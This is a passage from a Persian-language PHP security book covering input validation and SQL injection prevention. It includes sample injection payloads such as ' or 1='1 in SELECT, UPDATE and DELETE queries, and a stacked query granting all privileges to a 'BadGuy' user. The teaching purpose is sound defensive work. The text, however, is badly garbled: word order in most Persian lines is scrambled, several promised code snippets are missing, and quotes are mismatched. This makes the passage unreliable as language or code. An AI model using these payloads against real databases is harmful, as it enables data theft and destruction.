 سازی دقیقی اجازه که شودمی آغاز خطاهایی چنین ایجادجهت  عمدی غیر یا عمدی تلاش یک عنوان

 را واقعیت این کاربر ورودی در مترقبه غیر مقدار یک اگر دهد. جهت مثال،ارائه می را حمله بالاتر و ساده

 باید وی که یابدمی در مهاجم یک است، شده وارد ()eval فراخوان یک در ورودی این که دهد نشان

 کند.  متمرکز PHP دستورات تزریق روی بر را خودهای تلاش
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 را PHP خطای نوع هیچ هرگز نباید کاربری هیچ که کنیممی تاکید خود قوی پیشنهاد بر اینجا در بنابراین،

 نمایید. مخفی شوند، تولید PHP توسط است ممکن که را هشداری خطاهای تمامی باید ببیند. شما

 به تواندمی )که E_NOTICE بدون E_ALL از است عبارت error_reportingجهت  فرضپیش مقدار

 2039 یا بیتی نمایش از استفاده با E_ALL ^ E_NOTICE یا E_ALL& ~E_NOTICE صورت

 دو هر توانیدمی باشد. شمامی 1 یا TRUE با برابر display_errorsجهت  فرضپیش شود(. مقدار نوشته

 در را کار این یا و باشیدمی آن به دسترسی دارای اگر دهید قرار 0 با برابر php.ini در راها دستورالعمل این

 دهید.  انجام display_errors ( 0 ) یا error_reporting( 0 ) دستورات با اجرا زمان

 و انداخته دام به را آن نویسیبرنامه طریق از بتوانید باید شما دهد، رخ شمای برنامه مسیر در خطا یک اگر

 نمایید:  ارسال این، به شبیه دستوری از استفاده با کاربرجهت  را ساده کاملا پیام یک سپس

exit( 'Sorry, the database is down for maintenance right now. 

Please try again later )’;  

die( 'Sorry, the system is temporarily unavailable. 

Please try again later )’;  

 هدایتای صفحه به را کاربر که باشدمی هدر دستور یک از استفاده با کار این انجام جایگزین، روش یک

 شکل:  این به چیزی است، مبهم نامی دارای که کندمی

header( 'Location: sysmaint.php' ); 

دهید.  اطلاع مربوطه مدیران به یا و یابید اطلاع آن از باشد، داده رخ خطا یک که صورتی در باید شما البته

 طریق از پیام یک ارسال سپس و لاگ فایل یک درون خطا نوشتن کار، این انجامجهت  مناسب روش یک

 باشد. می خطا حلجهت  مناسب فردیجهت  پیامک حتی یا و ایمیل

  51ورودی اعتبار تایید آزمودن 5.3

های نقص برابر در حفاظتها جهت آن آزمودن از عبارت خودها، اسکریپت داشتننگه ایمن از مهم بخش یک

 از را شمای برنامه بتوانند واقعا که کنید انتخاب را آزمونی مقادیر که است اهمیت دارای امر ممکن هست. این

 این انتخاب ندارید. بنابراین، راها آن انتظار شما که هستند مقادیری همان دقیقا اغلب موارد بیندازند. این کار
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 یک از عبارتند تست مقادیر رسد. بهترینمی نظر به که است چیزی آن ازتر سخت بسیاری وظیفه یک مقادیر

 همین و اندشده اعتبار تاییدها جهت تلاش سایر شکست باعث که بیهوده تصادفی مقادیر از جامع مخلوط

 شکنندههای سیستم به PHP از توانندمی که داخلی دستورات یا متاکاراکترهای دهنده نشان مقادیر طور

 متعدد خاص تهدیدات برابر در حفاظتجهت  خاصهای تست از هاییمثال ما بعدی، فصول شوند. در ارسال

 نمود.  خواهیم ارائه را

  خلاصه 5.4

 هستند، ایمن ممکنی اندازه به شما PHPهای اسکریپت اینکه از اطمینان کسب چگونگ پیرامون ما بحث

جهت  تهدید ترینابتدایی احتمالا که چیزی بررسی با اینجا در داشت. ما خواهد ادامه سوم بخش کل در

ای استفاده سوء نمودیم. چنین آغاز را بحث ورودی، از استفاده سوء یعنی است، کاربرانهای داده امنیت

 باشد:  مختلفی اشکال دارای است ممکن

  متاکاراکترها ورود •

  اشتباه نوع با ورودی •

  اشتباه طول با ورودی •

  غیرمترقبه دستورات حاوی ورودی •

  مخفیهای رابط درون به داده ورود •

 پرداختیم:  کاربران ورودی اعتبار تاییدهای استراتژی به ادامه در

 کنید.  کنترل متغیرها، اعلام و عمومی متغیرهای نمودن خاموش با را PHP خود رفتار باید شما •

 را انتظارش که بدهید را چیزی ورودی اجازه تنها و نموده بینیپیش را انتظار مورد ورودی باید شما •

 دارید.

 به کمکجهت  را روتین یک نمایید. ما بررسی راها ورودی تمامی فرمت و طول نوع، باید شما •

 نمودیم.  ارائه امر این خودکارسازی

 متاکاراکترها، قبیل از نمایید سازیپاک راها سیستم سایر به ارسالی مقدار نوع هر باید شما •

های کوئری ،HTTP هدر مقادیر ایمیل،های آدرس ها،URI ها،فایلهای نام و فایل مسیرهای

 شل.  دستوراتهای آرگومان و HTML خروجی داده،پایگاه

 در ضعف نوع هر تا دهید قرار آزمون مورد را خود اعتبار تاییدهای استراتژی شما که دادیم پیشنهاد نهایت، در

 نمایید.  تصحیح و داده تشخیص خود،های برنامه از حفاظتجهت  واقعی شدن نیازمند از قبل راها آن
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 خواهیم بحث حمله از متفاوت نوع سه برابر در شماهای اسکریپت از حفاظت خصوص در ما بعدی، فصول در

 در دارند. ما بستگی کاربر،های ورودی بر شما مدیریت درها ضعف از استفاده سوء بهها آنی همه که کرد

 کنیم. می آغاز SQL تزریق پیرامون بحث با ششم فصل
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 INJECTION SQL از : ممانعت ششم فصل 6

 آغاز کاربر، ورودی دقیق اعتبار تایید با PHPهای اسکریپت داشتننگه ایمن خصوص در پنجم فصل

 تعامل در که کنیممی تمرکز کاربرانی ورودی بر و دهیممی ادامه نیز اینجا در را بحث این نمودیم. ما

 هر . بههای پایگاه داده دسترسی داشته باشندنموده و به داده مشارکت شما،ی دادهپایگاه با شما اسکریپت

هدف اصلی، نوشتن اسکریپت هستند.  شما دارایی ارزشمندترین ،ی پایگاه دادههازیاد داده احتمال به حال،

 هایی است که در حین دسترسی به اطلاعات پایگاه داده، امنیت اطلاعات را تامین نماید.

 کنیم. می ارائه ،کار این انجامجهت  PHP دستورات از استفاده با را هاییروش ما فصل، اینی ادامه در 

  چیست SQL تزریق 6.1

 یک درون راها داده که نداردای فایده هیچ ،نکنیم استفاده دادهپایگاه یک یهاداده از گاههیچ که باشد قرار اگر

 اند. شده طراحی خود،های داده آسان دستکاریو  دسترسی بهبودجهت  دادههای پایگاه..نگهداریم دادهپایگاه

تواند به دو صورت امنیت اطلاعات پایگاه داده را به خطر بیاندازد. حالت دسترسی آسان به پایگاه داده می

شود. حالت های شما، مثلا بجای انتخاب اطلاعات، حذف ناخواسته اطلاعات انجام میاول توسط اسکریپت 

ا دستکاری دستورات صورت ب دیگری فرددوم به دلیل ساده نویسی دستورات شما، سرقت اطلاعات توسط 

 نامند.می تزریق راو یا دستکاری دستورات  نمودن جایگزین عملپذیرد. می

 اجازه کاربر آن به کنید، ایجاد را دادهپایگاه کوئری یک تا کنیدمی دریافت را کاربر ورودی شما که بار هر

یک کاربر . باشد داشته مشارکتدسترسی و یا  ،دادهپایگاه سرور به دستور یک ساز و ساخت در تا دهیدمی

عادی خوشحال می شود از اینکه می تواند در حجم وسیعی از اطلاعات، اطلاعات موردنیازش را انتخاب 

 کند پیدا روشی تاکند. در صورتی که یک کاربر مهاجم حین برخورد با حجم وسیع اطلاعات سعی می کند 

 حتی یا نموده و حذف راها آن که کند تبدیل دستور یک به کندمی انتخاب را اطلاعات که رادستوری  که

 چنین نمودن ممکن غیرجهت  روشی یافتن یسنوبرنامه یک عنوان به شمای وظیفه هد.د انجام بدتری کار

 است.  تزریقاتی
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 کندمي کار چگونه SQL تزریق 6.2

 برای) :شودمی انجام اینگونه تقریبا فرآیند ایناست.  مشخص کاملا فرآیند یک دادهپایگاه کوئری یک ساخت

 هر آن، در که هستید هاکتاب از دادهپایگاه یک دارای شما که کنیممی فرض برای مثال امر این دادن نمایش

 باشد(: می خاص موضوع یک داری کتاب

 وارد کتابی جستجوجهت  را عبارتی تا دهدمی اجازه کاربر به که کنیدمی ارائه را فرم یک شما .1

 هستند.  ریاضی نوع از که بگردد هایی کتاب دنبال به گیردمی تصمیم کاربر این که کنیم کند. فرض

 ، شبیه دستور زیرمتغیر یک روی بر را آن و نموده دریافت را کاربر جوی و جست عبارت شما .2

 :کنیدمی ذخیره

 

 .باشدمی math برابر  variety$ متغیر مقداربنابراین 

 WHERE عبارت دررا بطور مستقیم  variety$ متغیر ایجاد کرده و را دادهپایگاه کوئری یک شما .3

 : به کار می برید. مانند دستور زیر

$query = "SELECT * FROM BOOKS WHERE variety='$variety'";  
 

 با:  است برابر query$ متغیر مقدار اکنون

SELECT * FROM BOOKS WHERE  variety=’math’ 

 کنید. می ارسال ،MySQL سرور به را کوئری این شما .4

5. MySQL موضوع دارای که را کتاب جدول در موجود رکوردهای تمامی “math ”باشد،می 

 گرداند.می باز 

 خیالی بی به را ما ساده و آشنا فرآیندهای گاهی باشد. متاسفانه،می مشخص و راحت فرآیند یک این ،اینجا تا

 :ندازیمابی کوئری آن واقعی ساز و ساخت به نگاهی دهید اجازه بنابراین،رسانند. می

 که بردید، پایان به یکتا قول نقل علامت یک با را آن و نموده ایجاد را کوئری متغیر غیر بخش شما •

 نمایید:  گذاری نشان را متغیر مقدار ابتدای تا دارید نیاز آن به شما

$query=”SELECT * FROM BOOKS WHERE  variety=’”; 

 نمودید:  متصل کاربر، ارسالی مقدار حاوی متغیر مقدار هب را متغیر غیر بخش این شما •
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$query.=$variety; 

 نشان را متغیر مقدار انتهای تا هنمود متصل دیگر یکتای قول نقل علامت یک با را نتیجه ادامه، در  •

 دهید: 

$query.=  ” ’  ” ; 

  :با است برابر query$ مقدار ،در نتیجه 

SELECT * FROM BOOKS WHERE  variety=’math’ 

 داریداز ورودی  را کلمه یا چند یک انتظار شما ،مثال فوق در کهدارد  بستگی کاربر ورودی به نتیجه کوئری

 بدون کوئری این نمودید. بنابراین، دریافت را آن و باشد )مثلا ریاضی( کتاب از خاص نوع یک حاوی که

 از فهرستی یعنی ،دارید انتظار که است چیزی همان زیاد احتمال به نیز نتایج و شده ایجاد مشکلی هیچ

 باشد. می ”math“ با برابرها آن نوع کهها کتاب

 

 تاریخی(، مثلا )یا ریاضی مثل موضوع یک نمودن وارد جای به شما، کاربر که کنیم فرض دهید اجازه اکنون

 کنید(:  توجه شده اضافه علامت دو )به کند وارد را زیر مقدار

math’ or 1=’1; 

 دهیم( ایجادمی نشان را query$ متغیرمقدار  اینجا در )ما غیرمتغیر بخش با ابتدا را خود کوئری شما اکنون

 کنید: می

SELECT * FROM BOOKS WHERE  variety=’ 

 query$را به انتهای متغیر  پررنگ( صورت به شده داده )نشان است نموده وارد کاربر که یچیز ،سپس

 :افزاییدمی

SELECT * FROM BOOKS WHERE  variety=’math’ or 1=’1; 

 کنید: می اضافه query$به  را بسته قول نقل علامتدر دستور پایانی نهایت، در و

SELECT * FROM BOOKS WHERE  variety=’math’ or 1=1; ’ 

نه تنها  حاضر حال در شما کوئری واقع، داشتید. در انتظار که است چیزی از متفاوت بسیار حاصل کوئری

 شرطنتیجه  ولی آنها را باهم ترکیب کرده است. orکه با عملگر  است شرط دو شاملشامل یک شرط بلکه 
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 وی کند،می ورودی وارد را یکتا قول نقل علامت یک کاربر که داشتید. هنگامی انتظار شما که نیست چیزی

 آن تنها بازگرداندن جای به است. بنابراین، افزوده را دیگر شرط یک و داده پایان را مطلوب متغیر مقدار

حداقل نتیجه یکی از  که نموده بازخوانی را رکوردهایی است، ریاضی برابر موضوع ،هاآن در که رکوردهایی

 با برابر 1 یا و انتظار شماست()شرط اولی که مورد بوده ریاضی باید موضوعپس  ؛این دو شرط، درست باشد

 تمامی شما بنابراین، است، 1 با برابر همواره 1 که آنجا . از)شرط دوم که مورد انتظار شما نبوده است(باشد 1

 ! می شود بازخوانی رکوردها

 متغیرهای نمودن مشخصجهت  یگانه جای به دوگانه قول نقل از است قرار که کنید بیان است ممکن شما

 شکست فرآیند که زمانی تا تنها ولی شودمی مهاجم شدن کند باعث امر کنید. این استفاده کاربر ارسالی

 که کند استفاده دوگانه قول نقل علامت از بار این و کند، امتحان دوباره را اکسپلویت این وی و خورده

 کردیم، بیان پنجم فصل در که طورهمان که کنیممی یادآوری اینجا در دهد. )مامی را وی موفقیتی اجازه

 کمک مهاجم به شود، ایجاد اینجا در خطا پیام یک شوند. اگر غیرفعال باید کاربرجهت  خطاهای پیام تمامی

 داد.(  خواهدارائه  ویی حمله خوردن شکستجهت  را خاصی توضیح که دلیل این به کندمی

 اول نگاه در ببیند،ها آن ازبخشی   هاتن جای به را رکوردها تمامی شما کاربر اینکه عملی، نمونه یک عنوان به

 به تواندمی رکوردها تمامی نمایش است؛ مهم بسیار امر این ،واقعیت در ولی نباشدخیلی مهم  است ممکن

 بعدا تواندمی راحتی به که اطلاعاتی دهد، قرار وی اختیار در جدول ساختار مورد در اطلاعاتی ، سادگی

 شمای دادهپایگاه که است صادق زمانی خصوصا امر گیرد. این قرار استفاده مورد تریمخرب اهدافجهت 

 باشد.  های آنسالیانه حقوق و کارمندان از فهرستیشامل اطلاعات حساس و مهم باشد برای مثال 

 به غیرمترقبه چیزی تزریق است. با بدی بسیار چیز واقع در اکسپلویت این نظری، موضوع یک عنوان به و

 مقاصد به رسیدنجهت  دادهپایگاه به شما نظر مورد دسترسی تغییر به موفق کاربر این شما، کوئری درون

در دسترس شما است، در دسترس فرد  که اندازه همان به شمای دادهپایگاه اکنون، است. بنابراین، شده ،خود

 .مخرب نیز هست

6.3 PHP تزریق و MySQL 

 او به شما اینکه مگر دهدنمی انجام کاری هیچ خود، طراحی اساس بر ،PHP کردیم، بیان قبلا که طورهمان

ها، حتی اکسپلویت های مخرب )از قبیل مورد بالا( به همه اکسپلویت که است نگرش همین بگویید. دقیقا

 . اجازه دسترسی می دهد
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 که کرد نخواهید ایجاد را دادهپایگاه کوئری یک تصادفی، حتی یا و عمدی صورت به شما که کنیممی فرض

 اکنون که دهید اجازه است. بنابراین، شما کاربران سوی از ارسالی ورودی مشکل، باشد؛ مخرب اثرات دارای

های اسکریپتجهت  را اطلاعات است ممکن شما کاربران که مختلفیهای روش به ندازیمابیتر دقیق نگاهی

 نمایند.  ارسال شما،

  کاربران ورودی انواع 6.3.1

 در که هستند چیزی ازتر پیچیده گذارندمی تاثیر شماهای اسکریپت رفتار بر کاربران آن، طریق از که روشی

 رسد. می نظر به اول نگاه

 صورت به شما فیلدی، چنین . باهست فرم یک در متن ورود فیلد یک کاربر ورودی منبع ترینمشخص

 کنید؛می فراهم کاربر برای را باز کاملا فیلد یک شما علاوه، کنید. بهمی درخواست را کاربر ورودی عمدی

 اگر )هرچند کنید محدود را نماید تایپ تواندمی کاربر که را چیزی قبل از شما که ندارد وجود روشی هیچ

 همین (. بهیا انواع محدودیت های رایج دیگر را استفاده نمایید کنید محدود را آن طول توانیدمی بخواهید

 . می باشند تزریقهای اکسپلویت توجه قابل منبع، محافظت بدون فرم هایفیلد که است دلیل

در  URIتنها از طریق نگاه به  تواندیم زیرک کاربر یک ،GET روش یعنی اطلاعات انتقالدر روش رایج 

با اندکی  ولی است اسکریپت یک به انتقال حال در اطلاعات زمانی چه که ببیند سادگی بهآدرس مرورگر 

مثلا  دارند وجود نیزروش های امن جهت انتقال اطلاعات  سایرتفکر می توان به این موضوع پی برد که 

 .POST روش طریق از اطلاعات انتقال

 یک جای بهای گزینه ورودی یک یارائه ،کاربران ورودی نمودن محدودجهت  معمول استراتژی یک

 تعیین پیش از مقدار مجموعه یک میان از انتخاب به مجبور را کاربر کنترل، . اینباشدمی فرم یک در ورودی

 درست دارد. ولیمی بازای منتظره غیر چیز هر نمودن وارد از را کاربر که رسید خواهد نظر به و کندمی شده،

 به که کند ایجاد نامشروع URI یک )یعنی نماید جعل را URI یک تواندمی مهاجم یک که صورتی به

 با شما فرم از را خود شخصی ویرایش تواندمی همچنین وی شود(،می داده نشان مشروع، URI یک عنوان

 نماید. انجام ایجاد ای، گزینه ورودی در شده تعیین پیش از ایمنهای انتخاب جای به غیرمشروعهای انتخاب

)روش  نموده مشاهده را منبع که است این دارد نیاز کاربری چنین که چیزی تنها است؛ ساده بسیار کار این

 از دارد. بعد قرار وی دسترس در کاملا کد این که بچسباند، و بریده را فرم منبع کد سپس و (GETارسال 

 نماید. ارسال را فرم تواندمی وی ها،انتخاب تغییر
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 دارند.  اسکریپت یک درون به مخرب کد تزریقجهت  تلاشجهت  متفاوتیهای روش کاربران بنابراین،

  تزریق حملات انواع 6.3.2

  SELECTتزریق با استفاده از دستور  6.3.2.1

 به 1=1 قبیل از شرطی افزودن با تواندمی مهاجم نماید، اجرا را SELECT دستور یک شما اسکریپت اگر

  دهد نمایش را جدولهای ردیف تمامی زیر، شکل به دستوراتی با WHERE عبارت درون

SELECT * FROM BOOKS WHERE  variety=’math’ or  1=’1’ 

هر دو باهم برابرند اما از آنجاکه در تزریق نیاز به درج یک   ’1’=1و  1=1های توجه نمایید که عبارت

عبارتی است که باعث خطای دستوری نشود، می بایست طوری نقل قول یکتا را درج کنیم که حالت صحیح 

دستوری از بین نرود تا خطای اجرا ایجاد نشود. در مثال بخش قبل، این موضوع مورد توجه قرار گرفته 

 است.  شده

 چرا باشد ارزشمندی اطلاعات خود، خودی به تواندمی امر این کردیم، بیان فصل این در قبلا که طورهمان

 طور همین دهد( و نشان تواندنمی یکتا رکورد یک که شکلی )به دهدمی نشان را جدول کلی ساختار که

 باشند.  محرمانه اطلاعات حاوی است ممکن که دهدمی نمایش را رکوردهایی

  UPDATEتزریق با استفاده از دستور  6.3.2.2

 درون به اضافیهای ویژگی افزودن است. با بیشتری مستقیم تخریب پتانسیل دارای UPDATE دستور یک

 تغییر را رسانی روز به حال در رکورد در موجود فیلدهای از کدام هر تواندمی مهاجم یک ،SET عبارت

 است(:  شده نوشته پررنگ صورت به )تزریق شودمی انجام شکل این به کار این که دهد

UPDATE BOOKS SET PRICE=1 WHERE variety=’math’ 

 

 دستور یک در WHERE عبارت درون 1=1 قبیل از است درست همواره که شرط یک افزودن با و

UPDATE، شکل زیر  به کدی با یابد، تعمیم رکوردی هرجهت  تواندمی تغییر این 

UPDATE  BOOKS  SET  PRICE=1   WHERE  variety='math ' OR  1='1'; 
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  DELETEتزریق با استفاده از دستور  6.3.2.3

کنید. تکنیک تزریق هنگام استفاده می DELETEبیشترین دستورات خطرساز هنگامی است که از دستور 

تواند رکوردهای بیشتری و یا حتی کلیه رکوردها را می WHEREدر قسمت  DELETاستفاده از دستور 

کند. لازم به ذکر است با اجرای نماید که این امر بسیار خطرناک بوده و مشکلات زیادی را ایجاد می حذف

شود. حذف رکوردها قابل مشاهده خواهد بود و کاربر سمت سرور متوجه این تهاجم می DELETEدستور 

 کند:قطعه کد زیر با کمی تصرف کلیه رکوردها را حذف می

DELETE FROM wines WHERE variety = 'lagrein' OR 1='1'; 

انجام  DELETEو  SELECTاین نکته بسیار حائز اهمیت است که مهاجم بتواند دو تزریق با دستورات 

دهد که در اینصورت توانسته ضمن سرقت اطلاعات و حذف بانک اطلاعات به دنبال اخاذی جهت 

 بازگرداندن اطلاعات باشد. 

  کوئری چند تزریق 6.3.3

ی اجازه که چرا کندمی برابر چند کند، ایجاد تواندمی مهاجم یک که راای بالقوهی صدمه ری،کوئ چند تزریق

 ناگهانی اتمام افزودن با را امر این دهد. مهاجممی کوئری یک در را مخرب دستور یک از بیش شدن وارد

 نقل علامت یک ابتدا در آن، در که شودمی انجام MySQL در سادگی به امر دهد. اینمی انجام کوئری،

 متغیر یکی( انتهای کدام که کندمی مشخصای لحظه آزمایش یک دوگانه؛ چه و یکتا )چه شده افزوده قول

 دستور یک دهد. اکنون،می پایان را دستور این ویرگول، نقطه یک سپس و کند؛می مشخص را انتظار مورد

ارائه  تخریبی نمود. کوئری اضافه است، یافته پایان اکنون که اولیه دستور انتهای در توانمی را اضافیی حمله

 پررنگ صورت به است، خط دو از بیش که تزریق نیز اینجا )در باشد این به شبیه چیزی است ممکن شده

 است(: شده نوشته

SELECT  * FROM  BOOKS WHERE variety=’math’; 

GRANT ALL on *.* TO ‘BadGuy@&’ IDENTIFIED BY ‘pass’; 

 یک و جداول روی بر مجوزها تمامی  با ،BadGuy بنام جدید کاربر یک ساخت قابلیت اکسپلویت این

 کند.اضافه می SELECTبه دستور  را دلخواه رمزعبور

 خیر. یا شد خواهد پردازش MySQL سرور توسط حتی کوئری چنین آیا که دارد وجود متداولی روشهای

شوند. عدم اجرای کوئری هایی که مانند مثال بالا شامل چند دستور هستند، همیشه به درستی اجرا نمی
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که برخی از آنها از کوئری  باشد MySQL مختلفهای ویرایشکوئری چندگانه ممکن است به دلیل 

 کنند. چندگانه پشتیبانی نمی

اجرا  اجازه کوئری چنین به مشکلی هیچ بدون phpMyAdminیا همان  MySQLبرنامه مدیریت 

فقط دستورات کوئری نهایی را اجرا نموده و هیچ گونه کنترلی روی کوئری  phpMyAdminدهد. می

  ندارد.

شوند. می مدیریت PHP در mysqlی افزونه توسط تزریق بستر یک در چندگانههای کوئری بیشتر ولی

 دهد؛نمی کوئری یک در را دستور یک از بیش اجرایی اجازه فرضپیش صورت به افزونه اینخوشبختانه 

 بدون خورد،می شده( شکست داده نشان تزریق اکسپلویت مانند )به دستور دو اجرایجهت  تلاشبنابراین 

 دور تواننمی هیچگاه را رفتار این که رسدمی نظر شود. به تولید خروجی یا و شده ارائه خطایی هیچ اینکه

 آشکارترین برابر در شما از نکردن، دخالت فرضپیش رفتار رغمعلی ،PHP حالت این در واقع در ،پسزد. 

 کند.می محافظت تزریق انواع

 ولی دهدنمی را کوئری چندینی اجازه ذاتی صورت به ،mysql مانند به PHP 5 جدید mysqliی افزونه

 این با. دهید انجام را کار این دهدمی اجازه شما به که باشدمی ()mysqli_multi_query تابع یک دارای

 شما کار این انجام با که باشید داشته یاد به دهید، انجام را کار این خواهیدمی که گرفتید تصمیم اگر حال،

 کنید. تر میراحت زیادی حد تا را کنندهتزریق یک کار

تر ناکرخط بسیار  ،52است شده داده قرار 5PHPدر نسخه  که (SQLite)درونی SQLی دادهپایگاه موتور

 که چرا دهدمی موارد بعضی در را دستور چند باهای کوئریی اجازه فرضپیش صورت به چوناست. 

 .INSERT دستور  الخصوص علی نماید، سازیبهینه موثر بسیار شکلی به راها کوئری تواندمی دادهپایگاه

 تابع ،گیرند قرار استفاده مورد شما اسکریپت توسط باشد قرارها کوئریی نتیجه اگر حال، این با

sqlite_query() دستور رکوردها در جهت بازخوانی مثلا ، داد نخواهد را کوئری چندین اجرایی اجازه 

SELECT . 

 Invision Power Board در SQL تزریق نقص

                                                   

 

 

 ( http://sqlite.org/ and)ن.ک.  - 52
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Invision Power Board بیشتر(. در جهت اطلاعات )ن.ک.  است معروف بسیار فوروم سیستم یک 

 شرکت برسگای جیمز توسط لاگین کد در SQL تزریق نقص یک ،2005سال  می ماه 6تاریخ ششم 

 شد.  بیشتر( یافت اطلاعاتجهت  )ن.ک.  تک گالف امنیت تحقیقاتی

 باشد: می زیر صورت به لاگین کوئری

 

 فراخوانی خط، دو این با ()my_cookie تابع از pid$ رمزعبور id متغیر و mid$ اعضا id متغیر

 : شوندمی

 

 کند: می دریافت کوکی از خط این با را درخواستی متغیر ()my_cookie تابع

 

 عدد یک با برابر mid$ که حالی شود. درنمی سازی پاک وجه هیچ به کوکی از ه شد داده بازگشت مقدار

 تحت امر این ماند. بنابراین،می باقی نخورده دست pid$ گیرد،می قرار کوئری، در استفاده از قبل صحیح

 کردیم.  بحث بالا در که دارد قرار تزریقی انواع

 (:ن.ک.  مرتبط اطلاعات کسب )برای شد تصحیح زیر، شکل به ()my_cookie تابع تغییر با نقص این

 

 سایر که حالی در شوندمی بازگردانده ()clean_value تابع از عبور از بعد حیاتی متغیرهای تصحیح، این با

 مانند.می باقی سازیپاک بدون  متغیرها
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 SQL تزریق از ممانعت 6.4

 شما و نمود اجرا را آن توانمی چگونه چیست، SQL تزریق که کردیم بررسی را مسئله این ما که اکنون

 PHP بپردازیم. خوشبختانه، آن از ممانعتهای روش به دهید اجازه دارید، نقص آن برابر در حد چه تا

 که هاییروش از کامل و دقیق کاربرد یک که کنیممی بینیپیش اطمینان با ما و باشدمی غنی منابع دارای

های داده سازیپاک با را شماهای اسکریپت در SQL تزریق امکان نوع هر نهایت در کنیم،می پیشنهاد ما

 برد.  خواهد بین از دهند، انجام تخریبی اینکه از قبل شما کاربران

 

  کوئری در مقادیری همه نمودنمحدود  6.4.1

 جای )به یکتا قول نقل علامت از معمولا شما کنید، محدود را خودهای کوئری درون مقادیر همواره

 این دیگر، لحاظی از وتر راحت را کوئری نمودن تایپ لحاظ، یک از کار این که کنیدمی دوگانه( استفاده

 استفاده برابر )در دهد انجام آن پردازشجهت  باید PHP که راای تجزیه اندک( کار بسیار )هرچند امر

 دهد. می کاهش دوگانه(، قول نقل از

 :  داریم را تزریقی غیر و اصلی کوئری اینجا در ما

SELECT * FROM BOOKS WHERE variety=’math’ 

 : کرد استفاده زیر صورت به توانمی یا و

$query=” SELECT * FROM BOOKS WHERE variety=’math’“; 

های علامت که گرفتید تصمیم اگر نیستند. ولی نیاز مورد عددی مقادیرجهت  اصولا قول نقلهای علامت

 را خالی مقدار یک شما کاربر اگر ،نکنید استفاده math مانند فیلد یک مقدار یک دو طرف را قول نقل

 شد: خواهید مواجه صورت این به کوئری یک با شما نمود، شما فرم وارد

SELECT * FROM BOOKS WHERE variety= 

 نیست:  نامعتبر زیر کوئری که صورتی در است، معتبرنا ساختاری لحاظ از کوئری، این البته

SELECT * FROM BOOKS WHERE variety=’’ 



  PHPنویسي امن برنامه

184 

 

 
 

ارائه  نیز را خطا پیام یک حداقل ولی کندنمی ائهار راای نتیجه فرض( هیچ اساس )بر دوم کوئری

، حتی در باشید نموده خاموش را کاربرانجهت  خطاهای گزارش تمامی شما اگر )هرچند .دهدنمی

 (. شودصورت بروز خطا ، گزارشی ظاهر نمی

  کاربران ارسالي مقادیر انواع بررسي 6.4.2

 فرم در غیرمنتظره ورودی یک ،SQL تزریقهای تلاش منبع تریناصلی تاکنون که نمودیم بیان قبلا

 ارائه فرم یک طریق از را مقدار نوعی ارسال امکان کاربر یکجهت  شما که هنگامی حال، این است. با

 دریافت باید را ورودی نوع چه که هستید قبل از امر این دانستن توجه قابل مزیت دارای شما کنید،می

نماید.  ساده زیادی حد تا را کاربر ورودی اعتبار تایید روی بر ساده بررسی یک اجرای باید امر کنید. این

 آن به را شما اکنون که دادیم، قرار بحث مورد پنجم فصل در کامل صورتبه  را اعتباری تایید چنین ما

 کنیم. می بیان را گفتیم آنجا آنچه ازای خلاصه تنها اینجا دهیم. درمی ارجاع

 از یکی از توانیدمی آنگاه کتاب(، قیمت خود، قبلی مثال دادن ادامه )برای دارید را عدد یک انتظار اگر

 باشد: می عددی واقعا کنیدمی دریافت که چیزی که کنید استفاده امر این از اطمینانها جهت روش این

 (.()is_long یا ()is_integer یعنی آن مستعارهای )یا ()is_int تابع از استفاده

 ()gettype تابع از استفاده

 ()intval تابع از استفاده

 ()settype تابع از استفاده

 کنید.  استفاده ()strlen تابع از توانیدمی کاربر، ورودی طول بررسی برای

 استفاده ()strtotime تابع از توانیدمی خیر یا است معتبر نظر، مد تاریخ یا زمان آیا اینکه بررسی برای

 کنید. 

. است یا خیر ویرگول نقطه کاراکتر حاوی کاربر یک ورودی که شوید مطمئن که بود خواهد مفید مطمئنا

 دهید:  انجام زیر صورت به ()strpos تابع از استفاده با سادگی به را کار این توانیدمی شما
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 کاربر، ورودیجهت  خود انتظارات روی بر دقیق تحلیل یک دادیم، پیشنهاد پنجم فصل در که طورهمان

 کند.می ساده راها آن از بسیاری بررسی

  خودهای کوئری در مبهم کاراکتر هر گیری نادیده 6.4.3

 تنها دادیم. ما قرار بحث مورد را خطرناک کارکترهای گیرینادیده پنجم فصل در کامل صورت به هم، باز

 ارجاع پنجم فصل به جزئیات دریافتجهت  را شما و کنیممی تکرار را خود پیشنهادات اینجا در

 دهیم: می

 استفاده ()addslashes تابع یعنی آنی صحنه پشت همکار یا magic_quotes_gpc دستورالعمل از

 ()stripslashes تابع از استفاده اضافی گام نیازمند و بوده محدودیت دارای خود کاربرد در که نکنید

 باشد. می

 باشد. می خود مختصهای ضعف دارای ولی استتر عمومی ()mysql_real_escape_string تابع

  امنیت بهبودجهت  انتزاعي لایه یک ساخت 6.4.4

های ورودی از مورد هرجهت  دستی صورت به را بالا در شده فهرستهای روش که دهیمنمی پیشنهاد

های حل راه ساده انتزاع کنید. یک ایجاد را انتزاعیی لایه یک باید شما آن، جای نمایید. به اعمال کاربر

 فراخوانی کاربر ورودی از مورد هرجهت  را تابع آن و دهدمی قرار تابع یک درون را شما اعتبار تایید

 را ایمن کوئری یک ایجاد فرآیند کل و برود،تر عقب گام یک حتی تواندتر میپیچیدهی لایه کند. یکمی

 اینی ادامه در راها آن از تعدادی ما دارند، وجود هایی کلاس چنین از دهد. بسیاری قرار کلاس یک در

 داد.  خواهیم قرار بحث مورد فصل

  موجودی برنامه بهبود 6.4.4.1

 ساده انتزاعیی لایه کنید یک تقویت را آن خواهیدمی که هستید موجودی برنامه یک دارای شما اگر

 را کنیدمی دریافت شما که را کاربر ورودی نوع هر که تابع یکجهت  لازم بود. کد خواهد مناسب بسیار

 است:  این به شبیه چیزی کند،می سازیپاک
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 به است ممکن موارد این که آنجا )از مقدارجهت  نیاز مورد یکتای قولنقل علامت ما که کنید توجه

 تابع طورهمین شوند( ومی گرفته نادیده معمولا بنابراین و شوند دیده سختی

mysql_real_escape_string() متغیر یک ایجادجهت  تابع ایم. ایننموده ایجاد آن در را query$ 

 : که صورت این به گیرد،می قرار استفاده مورد

$variety=safe($_POST[‘variety’]); 

$query=”SELECT * FROM BOOKS WHERE variety=”.$variety; 

 کند: می امتحان $varietyجهت  مقدار این کردن وارد با را تزریق اکسپلویت شما کاربر اکنون،

Math’ or 1=1 

 بر در را نامطلوبی و غیرمترقبه نتایج که بود خواهد صورت این به آمدهبه دست  کوئری ،سازیپاک بدون

 دارد: 

SELECT * FROM BOOKS WHERE variety=’math’ or 1=’1’; 

